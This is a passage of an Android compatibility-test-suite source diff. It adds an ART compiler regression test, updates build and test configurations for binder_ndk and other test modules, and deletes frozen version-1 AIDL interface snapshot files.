+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.art_cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/art/OWNERS b/tests/tests/art/OWNERS
new file mode 100644
index 0000000..ef86412
--- /dev/null
+++ b/tests/tests/art/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include platform/art:/OWNERS
diff --git a/tests/tests/art/com/android/art_cts/ArtTest.java b/tests/tests/art/com/android/art_cts/ArtTest.java
new file mode 100644
index 0000000..9e65048
--- /dev/null
+++ b/tests/tests/art/com/android/art_cts/ArtTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.art_cts;
+
+import junit.framework.TestCase;
+
+import static junit.framework.Assert.assertEquals;
+
+public class ArtTest extends TestCase {
+
+  static class Helper_b197981962 {
+    int myField;
+    static Helper_b197981962 escape;
+
+    static void runTest(boolean condition) {
+      Helper_b197981962 l = new Helper_b197981962();
+      // LSE will find that this store can be removed, as both branches override the value
+      // with a new one.
+      l.myField = 42;
+      if (condition) {
+        // LSE will remove this store as well, as it's the value after the store of 42 is removed.
+        l.myField = 0;
+        // This makes sure `m` gets materialized. At this point, the bug is that the partial LSE
+        // optimization thinks the value incoming this block for `m.myField` is 42, however that
+        // store, as well as the store to 0, have been removed.
+        escape = l;
+        // Do something the compiler cannot explore.
+        escape.getClass().getDeclaredMethods();
+        assertEquals(0, escape.myField);
+      } else {
+        l.myField = 3;
+        assertEquals(3, l.myField);
+      }
+    }
+  }
+
+  public void test_b197981962() {
+    // Run enough times to trigger compilation.
+    for (int i = 0; i < 100000; ++i) {
+      Helper_b197981962.runTest(true);
+      Helper_b197981962.runTest(false);
+    }
+  }
+}
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
index ba74a85..9eaf048 100644
--- a/tests/tests/assist/Android.bp
+++ b/tests/tests/assist/Android.bp
@@ -33,4 +33,9 @@
 
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
+    data: [
+        ":CtsAssistService",
+        ":CtsAssistApp",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/batterysaving/AndroidManifest.xml b/tests/tests/batterysaving/AndroidManifest.xml
index 55e9050..c28fd40 100755
--- a/tests/tests/batterysaving/AndroidManifest.xml
+++ b/tests/tests/batterysaving/AndroidManifest.xml
@@ -19,7 +19,7 @@
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
-    <!-- Needed to whitelist package to be able to avoid request throttling. -->
+    <!-- Needed to allowlist package to be able to avoid request throttling. -->
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
     <uses-permission android:name="android.permission.READ_DEVICE_CONFIG" />
 
diff --git a/tests/tests/binder_ndk/Android.bp b/tests/tests/binder_ndk/Android.bp
index 89dcff4..1077220 100644
--- a/tests/tests/binder_ndk/Android.bp
+++ b/tests/tests/binder_ndk/Android.bp
@@ -26,14 +26,14 @@
     ],
     static_libs: [
         "ctstestrunner-axt",
-        "libbinder_ndk_test_interface-V1-java",
+        "libbinder_ndk_test_interface-java",
         "libbinder_ndk_compat_test_interface-V3-java",
         "nativetesthelper",
     ],
     jni_libs: [
         "libbinder_ndk_test",
         "libbinder_ndk_test_utilities",
-        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_interface_old",
         "libbinder_ndk_test_interface_new",
diff --git a/tests/tests/binder_ndk/AndroidTest.xml b/tests/tests/binder_ndk/AndroidTest.xml
index 48bf70d..6578635 100644
--- a/tests/tests/binder_ndk/AndroidTest.xml
+++ b/tests/tests/binder_ndk/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
index efb2256..c1666af 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/Android.bp
@@ -32,6 +32,7 @@
         "test_package/Foo.aidl",
         "test_package/ByteEnum.aidl",
         "test_package/FixedSize.aidl",
+        "test_package/FixedSizeUnion.aidl",
         "test_package/IEmpty.aidl",
         "test_package/ITest.aidl",
         "test_package/IntEnum.aidl",
@@ -57,7 +58,7 @@
             enabled: false,
         },
     },
-    versions: ["1"],
+    unstable: true,
 }
 
 aidl_interface {
@@ -120,7 +121,10 @@
 cc_test_library {
     name: "libbinder_ndk_test_utilities",
     defaults: ["libbinder_ndk_test_defaults"],
-    srcs: ["utilities.cpp"],
+    srcs: [
+        "legacy_binder.cpp",
+        "utilities.cpp",
+    ],
 }
 
 cc_test_library {
@@ -131,7 +135,7 @@
     ],
     // Using the up-to-date version of the interface
     shared_libs: [
-        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_utilities",
     ],
@@ -150,7 +154,7 @@
         "libbinder_ndk_compat_test_interface_dup-V1-ndk",
     ],
     shared_libs: [
-        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_test_utilities",
     ],
 }
@@ -158,6 +162,9 @@
 cc_test_library {
     name: "libbinder_ndk_test",
     defaults: ["libbinder_ndk_test_defaults"],
+    tidy_timeout_srcs: [
+        "test_native_aidl_client.cpp",
+    ],
     srcs: [
         "test_ibinder.cpp",
         "test_ibinder_jni.cpp",
@@ -167,7 +174,7 @@
         "test_status.cpp",
     ],
     shared_libs: [
-        "libbinder_ndk_test_interface-V1-ndk",
+        "libbinder_ndk_test_interface-ndk",
         "libbinder_ndk_compat_test_interface-V3-ndk",
         "libbinder_ndk_test_utilities",
     ],
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash
deleted file mode 100644
index b1282bb..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/.hash
+++ /dev/null
@@ -1 +0,0 @@
-fc8f1d01825cc2845cc7f3fb17cd440a9dd95007
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
deleted file mode 100644
index 2aaf974..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Bar.aidl
+++ /dev/null
@@ -1,26 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Bar {
-  String a = "BAR";
-  String b = "BAR2";
-  float c = 4.200000f;
-  int d = 100;
-  String e = "HELLO";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
deleted file mode 100644
index 944573e..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ByteEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="byte")
-enum ByteEnum {
-  FOO = 1,
-  BAR = 2,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ExtendableParcelable.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ExtendableParcelable.aidl
deleted file mode 100644
index dbbb82c..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ExtendableParcelable.aidl
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable ExtendableParcelable {
-  int a;
-  @nullable @utf8InCpp String b;
-  ParcelableHolder ext;
-  long c;
-  ParcelableHolder ext2;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/FixedSize.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/FixedSize.aidl
deleted file mode 100644
index f4908e2..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/FixedSize.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@FixedSize
-parcelable FixedSize {
-  int a;
-  test_package.LongEnum b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
deleted file mode 100644
index 5e260ff..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/Foo.aidl
+++ /dev/null
@@ -1,47 +0,0 @@
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable Foo {
-  String a = "FOO";
-  int b = 42;
-  float c = 3.140000f;
-  test_package.Bar d;
-  test_package.Bar e;
-  int f = 3;
-  test_package.ByteEnum shouldBeByteBar;
-  test_package.IntEnum shouldBeIntBar;
-  test_package.LongEnum shouldBeLongBar;
-  test_package.ByteEnum[] shouldContainTwoByteFoos;
-  test_package.IntEnum[] shouldContainTwoIntFoos;
-  test_package.LongEnum[] shouldContainTwoLongFoos;
-  @nullable String[] g;
-  @nullable test_package.SimpleUnion u;
-  int shouldSetBit0AndBit2;
-  @nullable test_package.SimpleUnion shouldBeConstS1;
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-  const int BIT0 = 1;
-  const int BIT1 = 2;
-  const int BIT2 = 4;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl
deleted file mode 100644
index 7cab936..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericBar.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericBar<T> {
-  int a;
-  test_package.GenericFoo<int,test_package.Bar,test_package.IntEnum> shouldBeGenericFoo;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl
deleted file mode 100644
index 8929c65..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/GenericFoo.aidl
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-parcelable GenericFoo<T, U, V> {
-  int a;
-  int b;
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
deleted file mode 100644
index 1717e58..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IEmpty.aidl
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface IEmpty {
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
deleted file mode 100644
index 020c24f..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/ITest.aidl
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-interface ITest {
-  String GetName();
-  void TestVoidReturn();
-  oneway void TestOneway();
-  int GiveMeMyCallingPid();
-  int GiveMeMyCallingUid();
-  oneway void CacheCallingInfoFromOneway();
-  int GiveMeMyCallingPidFromOneway();
-  int GiveMeMyCallingUidFromOneway();
-  int RepeatInt(int value);
-  long RepeatLong(long value);
-  float RepeatFloat(float value);
-  double RepeatDouble(double value);
-  boolean RepeatBoolean(boolean value);
-  char RepeatChar(char value);
-  byte RepeatByte(byte value);
-  test_package.ByteEnum RepeatByteEnum(test_package.ByteEnum value);
-  test_package.IntEnum RepeatIntEnum(test_package.IntEnum value);
-  test_package.LongEnum RepeatLongEnum(test_package.LongEnum value);
-  IBinder RepeatBinder(IBinder value);
-  @nullable IBinder RepeatNullableBinder(@nullable IBinder value);
-  test_package.IEmpty RepeatInterface(test_package.IEmpty value);
-  @nullable test_package.IEmpty RepeatNullableInterface(@nullable test_package.IEmpty value);
-  ParcelFileDescriptor RepeatFd(in ParcelFileDescriptor fd);
-  @nullable ParcelFileDescriptor RepeatNullableFd(in @nullable ParcelFileDescriptor fd);
-  String RepeatString(String value);
-  @nullable String RepeatNullableString(@nullable String value);
-  test_package.RegularPolygon RepeatPolygon(in test_package.RegularPolygon value);
-  @nullable test_package.RegularPolygon RepeatNullablePolygon(in @nullable test_package.RegularPolygon value);
-  void RenamePolygon(inout test_package.RegularPolygon value, String newName);
-  boolean[] RepeatBooleanArray(in boolean[] input, out boolean[] repeated);
-  byte[] RepeatByteArray(in byte[] input, out byte[] repeated);
-  char[] RepeatCharArray(in char[] input, out char[] repeated);
-  int[] RepeatIntArray(in int[] input, out int[] repeated);
-  long[] RepeatLongArray(in long[] input, out long[] repeated);
-  float[] RepeatFloatArray(in float[] input, out float[] repeated);
-  double[] RepeatDoubleArray(in double[] input, out double[] repeated);
-  test_package.ByteEnum[] RepeatByteEnumArray(in test_package.ByteEnum[] input, out test_package.ByteEnum[] repeated);
-  test_package.IntEnum[] RepeatIntEnumArray(in test_package.IntEnum[] input, out test_package.IntEnum[] repeated);
-  test_package.LongEnum[] RepeatLongEnumArray(in test_package.LongEnum[] input, out test_package.LongEnum[] repeated);
-  String[] RepeatStringArray(in String[] input, out String[] repeated);
-  test_package.RegularPolygon[] RepeatRegularPolygonArray(in test_package.RegularPolygon[] input, out test_package.RegularPolygon[] repeated);
-  ParcelFileDescriptor[] RepeatFdArray(in ParcelFileDescriptor[] input, out ParcelFileDescriptor[] repeated);
-  List<String> Repeat2StringList(in List<String> input, out List<String> repeated);
-  List<test_package.RegularPolygon> Repeat2RegularPolygonList(in List<test_package.RegularPolygon> input, out List<test_package.RegularPolygon> repeated);
-  @nullable boolean[] RepeatNullableBooleanArray(in @nullable boolean[] input);
-  @nullable byte[] RepeatNullableByteArray(in @nullable byte[] input);
-  @nullable char[] RepeatNullableCharArray(in @nullable char[] input);
-  @nullable int[] RepeatNullableIntArray(in @nullable int[] input);
-  @nullable long[] RepeatNullableLongArray(in @nullable long[] input);
-  @nullable float[] RepeatNullableFloatArray(in @nullable float[] input);
-  @nullable double[] RepeatNullableDoubleArray(in @nullable double[] input);
-  @nullable test_package.ByteEnum[] RepeatNullableByteEnumArray(in @nullable test_package.ByteEnum[] input);
-  @nullable test_package.IntEnum[] RepeatNullableIntEnumArray(in @nullable test_package.IntEnum[] input);
-  @nullable test_package.LongEnum[] RepeatNullableLongEnumArray(in @nullable test_package.LongEnum[] input);
-  @nullable String[] RepeatNullableStringArray(in @nullable String[] input);
-  @nullable String[] DoubleRepeatNullableStringArray(in @nullable String[] input, out @nullable String[] repeated);
-  test_package.Foo repeatFoo(in test_package.Foo inFoo);
-  void renameFoo(inout test_package.Foo foo, String name);
-  void renameBar(inout test_package.Foo foo, String name);
-  int getF(in test_package.Foo foo);
-  test_package.GenericBar<int> repeatGenericBar(in test_package.GenericBar<int> bar);
-  void RepeatExtendableParcelable(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
-  test_package.SimpleUnion RepeatSimpleUnion(in test_package.SimpleUnion u);
-  IBinder getICompatTest();
-  void RepeatExtendableParcelableWithoutExtension(in test_package.ExtendableParcelable input, out test_package.ExtendableParcelable output);
-  const int kZero = 0;
-  const int kOne = 1;
-  const int kOnes = -1;
-  const byte kByteOne = 1;
-  const long kLongOnes = -1;
-  const String kEmpty = "";
-  const String kFoo = "foo";
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
deleted file mode 100644
index 92ce575..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/IntEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-///////////////////////////////////////////////////////////////////////////////
-// THIS FILE IS IMMUTABLE. DO NOT EDIT IN ANY CASE.                          //
-///////////////////////////////////////////////////////////////////////////////
-
-// This file is a snapshot of an AIDL file. Do not edit it manually. There are
-// two cases:
-// 1). this is a frozen version file - do not edit this in any case.
-// 2). this is a 'current' file. If you make a backwards compatible change to
-//     the interface (from the latest frozen version), the build system will
-//     prompt you to update this file with `m <name>-update-api`.
-//
-// You must not make a backward incompatible change to any AIDL file built
-// with the aidl_interface module type with versions property set. The module
-// type is used to build AIDL files in a way that they can be used across
-// independently updatable components of the system. If a device is shipped
-// with such a backward incompatible change, it has a high risk of breaking
-// later when a module using the interface is updated, e.g., Mainline modules.
-
-package test_package;
-@Backing(type="int")
-enum IntEnum {
-  FOO = 1000,
-  BAR = 2000,
-}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
deleted file mode 100644
index 4156557..0000000
--- a/tests/tests/binder_ndk/libbinder_ndk_test/aidl_api/libbinder_ndk_test_interface/1/test_package/LongEnum.aidl
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
